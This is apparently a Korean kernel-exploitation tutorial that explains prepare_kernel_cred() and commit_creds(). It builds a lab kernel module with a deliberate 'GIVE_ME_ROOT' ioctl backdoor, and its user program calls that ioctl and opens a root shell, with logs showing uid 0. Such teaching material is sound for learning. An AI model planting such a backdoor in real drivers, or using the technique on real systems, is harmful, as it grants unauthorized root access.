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List

Creating a kernel module to privilege escalation

prepare_kernel_cred()

prepare_kernel_cred()함수는 커널 서비스에 대한 자격 증명 세트 준비
해당 함수는 다음과 같이 동작합니다.
- kmem_cache_alloc()에 의해 객체를 할당 합니다.

/kernel/cred.c - line 594

struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);

	validate_creds(old);

	*new = *old;
	atomic_set(&new->usage, 1);
	set_cred_subscribers(new, 0);
	get_uid(new->user);
	get_user_ns(new->user_ns);
	get_group_info(new->group_info);

#ifdef CONFIG_KEYS
	new->session_keyring = NULL;
	new->process_keyring = NULL;
	new->thread_keyring = NULL;
	new->request_key_auth = NULL;
	new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif

#ifdef CONFIG_SECURITY
	new->security = NULL;
#endif
	if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
		goto error;

	put_cred(old);
	validate_creds(new);
	return new;

error:
	put_cred(new);
	put_cred(old);
	return NULL;
}
EXPORT_SYMBOL(prepare_kernel_cred);

https://elixir.bootlin.com/linux/v4.3/source/kernel/cred.c#L594

commit_creds()

현재 작업에 새 자격 증명 설치

/kernel/cred.c - line 423

int commit_creds(struct cred *new)
{
	struct task_struct *task = current;
	const struct cred *old = task->real_cred;

	kdebug("commit_creds(%p{%d,%d})", new,
	       atomic_read(&new->usage),
	       read_cred_subscribers(new));

	BUG_ON(task->cred != old);
#ifdef CONFIG_DEBUG_CREDENTIALS
	BUG_ON(read_cred_subscribers(old) < 2);
	validate_creds(old);
	validate_creds(new);
#endif
	BUG_ON(atomic_read(&new->usage) < 1);

	get_cred(new); /* we will require a ref for the subj creds too */

	/* dumpability changes */
	if (!uid_eq(old->euid, new->euid) ||
	    !gid_eq(old->egid, new->egid) ||
	    !uid_eq(old->fsuid, new->fsuid) ||
	    !gid_eq(old->fsgid, new->fsgid) ||
	    !cred_cap_issubset(old, new)) {
		if (task->mm)
			set_dumpable(task->mm, suid_dumpable);
		task->pdeath_signal = 0;
		smp_wmb();
	}

	/* alter the thread keyring */
	if (!uid_eq(new->fsuid, old->fsuid))
		key_fsuid_changed(task);
	if (!gid_eq(new->fsgid, old->fsgid))
		key_fsgid_changed(task);

	/* do it
	 * RLIMIT_NPROC limits on user->processes have already been checked
	 * in set_user().
	 */
	alter_cred_subscribers(new, 2);
	if (new->user != old->user)
		atomic_inc(&new->user->processes);
	rcu_assign_pointer(task->real_cred, new);
	rcu_assign_pointer(task->cred, new);
	if (new->user != old->user)
		atomic_dec(&old->user->processes);
	alter_cred_subscribers(old, -2);

	/* send notifications */
	if (!uid_eq(new->uid,   old->uid)  ||
	    !uid_eq(new->euid,  old->euid) ||
	    !uid_eq(new->suid,  old->suid) ||
	    !uid_eq(new->fsuid, old->fsuid))
		proc_id_connector(task, PROC_EVENT_UID);

	if (!gid_eq(new->gid,   old->gid)  ||
	    !gid_eq(new->egid,  old->egid) ||
	    !gid_eq(new->sgid,  old->sgid) ||
	    !gid_eq(new->fsgid, old->fsgid))
		proc_id_connector(task, PROC_EVENT_GID);

	/* release the old obj and subj refs both */
	put_cred(old);
	put_cred(old);
	return 0;
}
EXPORT_SYMBOL(commit_creds);

https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L423

Example

Linux Kernel Module

escalation.c

#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
#include <linux/cred.h>
  
#include "escalation.h"
MODULE_LICENSE("Dual BSD/GPL");
  
#define DRIVER_NAME "chardev"
      
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 1;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
 
static int     chardev_open(struct inode *, struct file *);
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static long chardev_ioctl(struct file *, unsigned int, unsigned long);
 
struct file_operations s_chardev_fops = {
    .open    = chardev_open,
    .release = chardev_release,
    .read    = chardev_read,
    .write   = chardev_write,
    .unlocked_ioctl = chardev_ioctl,
};
 
static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    int minor = 0;
    dev_t dev;
  
    printk("The chardev_init() function has been called.");
      
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
  
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &s_chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
  
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
  
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
  
    device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor);
    return 0;
}
  
static void chardev_exit(void)
{
    int minor = 0;
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
      
    printk("The chardev_exit() function has been called.");
 
    device_destroy(chardev_class, MKDEV(chardev_major, minor));
  
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
 
static int chardev_open(struct inode *inode, struct file *file)
{
    printk("The chardev_open() function has been called.");
    return 0;
}
  
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_close() function has been called.");
    return 0;
}
  
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_write() function has been called.");  
    return count;
}
  
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_read() function has been called.");
    return count;
}
  
static struct ioctl_info info;
static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    printk("The chardev_ioctl() function has been called.");
  
    switch (cmd) {
        case SET_DATA:
            printk("SET_DATA\n");
            if (copy_from_user(&info, (void __user *)arg, sizeof(info))) {
                return -EFAULT;
            }
        printk("info.size : %ld, info.buf : %s",info.size, info.buf);
            break;
        case GET_DATA:
            printk("GET_DATA\n");
            if (copy_to_user((void __user *)arg, &info, sizeof(info))) {
                return -EFAULT;
            }
            break;
		case GIVE_ME_ROOT:
			printk("GIVE_ME_ROOT\n");
			commit_creds(prepare_kernel_cred(NULL));
        	return 0;

        default:
            printk(KERN_WARNING "unsupported command %d\n", cmd);
  
        return -EFAULT;
    }
    return 0;
}
 
module_init(chardev_init);
module_exit(chardev_exit);

매크로 정의는 다음과 같습니다.

escalation.h

#ifndef CHAR_DEV_H_
#define CHAR_DEV_H_
#include <linux/ioctl.h>
 
struct ioctl_info{
       unsigned long size;
       char buf[128];
};
  
#define             IOCTL_MAGIC         'G'
#define             SET_DATA            _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info)
#define             GET_DATA            _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info)
#define 			GIVE_ME_ROOT 		_IO(IOCTL_MAGIC, 0)
#endif

Makefile

obj-m = escalation.o
 
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
 
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

http://www.tldp.org/LDP/lkmpg/2.6/html/x892.html

Test program

Exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>

#include "escalation.h"

void main()
{
    int fd, ret;

    fd = open("/dev/chardev0", O_NOCTTY);
    if (fd < 0) {
        printf("Can't open device file\n");
        exit(1);
    }

    ret = ioctl(fd, GIVE_ME_ROOT);
    if (ret < 0) {
        printf("ioctl failed: %d\n", ret);
        exit(1);
    }
    close(fd);

    execl("/bin/sh", "sh", NULL);
}

Make & Run

lazenca0x0@ubuntu:~/Kernel/Module/escalation$ make
make -C /lib/modules/4.18.0-11-generic/build M=/home/lazenca0x0/Kernel/Module/escalation modules
make[1]: Entering directory '/usr/src/linux-headers-4.18.0-11-generic'
Makefile:982: "Cannot use CONFIG_STACK_VALIDATION=y, please install libelf-dev, libelf-devel or elfutils-libelf-devel"
  CC [M]  /home/lazenca0x0/Kernel/Module/escalation/escalation.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/lazenca0x0/Kernel/Module/escalation/escalation.mod.o
  LD [M]  /home/lazenca0x0/Kernel/Module/escalation/escalation.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.18.0-11-generic'
lazenca0x0@ubuntu:~/Kernel/Module/escalation$ sudo insmod escalation.ko 
[sudo] password for lazenca0x0: 
lazenca0x0@ubuntu:~/Kernel/Module/escalation$

lazenca0x0@ubuntu:~/Kernel/Module/escalation$ gcc -o test test.c 
lazenca0x0@ubuntu:~/Kernel/Module/escalation$ ls -al ./test
-rwxrwxr-x 1 lazenca0x0 lazenca0x0 16744 Nov 29 22:27 ./test
lazenca0x0@ubuntu:~/Kernel/Module/escalation$ ./test 
# id
uid=0(root) gid=0(root) groups=0(root)
#

lazenca0x0@ubuntu:~/Kernel/Module/escalation$ dmesg |tail 
[   50.430318] Bluetooth: RFCOMM TTY layer initialized
[   50.430322] Bluetooth: RFCOMM socket layer initialized
[   50.430326] Bluetooth: RFCOMM ver 1.11
[   51.928891] rfkill: input handler disabled
[15332.953156] escalation: loading out-of-tree module taints kernel.
[15332.953272] escalation: module verification failed: signature and/or required key missing - tainting kernel
[15332.953941] The chardev_init() function has been called.
[15437.458201] The chardev_open() function has been called.
[15437.458203] The chardev_ioctl() function has been called.
[15437.458203] GIVE_ME_ROOT
lazenca0x0@ubuntu:~/Kernel/Module/escalation$

References

https://en.wikipedia.org/wiki/Static_program_analysis

Page tree

04.Creating a kernel module to privilege escalation

List

Creating a kernel module to privilege escalation

prepare_kernel_cred()

commit_creds()

Example

Linux Kernel Module

Test program

Make & Run

References